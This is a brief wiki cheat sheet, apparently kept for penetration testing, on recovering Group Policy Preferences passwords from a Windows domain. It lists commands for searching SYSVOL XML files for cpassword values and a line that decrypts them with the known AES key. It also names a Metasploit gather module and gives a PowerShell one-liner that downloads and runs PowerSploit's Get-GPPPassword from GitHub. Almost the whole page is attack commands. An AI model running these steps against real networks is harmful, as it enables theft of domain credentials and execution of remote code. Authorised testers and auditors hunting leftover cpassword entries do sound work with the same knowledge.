Password GPP - CraigDonkin/Infrastructure GitHub Wiki

findstr /S /I cpassword \\FQDN\sysvol\FQDN\policies\*.xml

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be

https://github.com/nixawk/hello-python2/blob/master/crypto/gpp_password_decrypt.py

echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

post/windows/gather/credentials/gpp

IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1")
Get-GPPPassword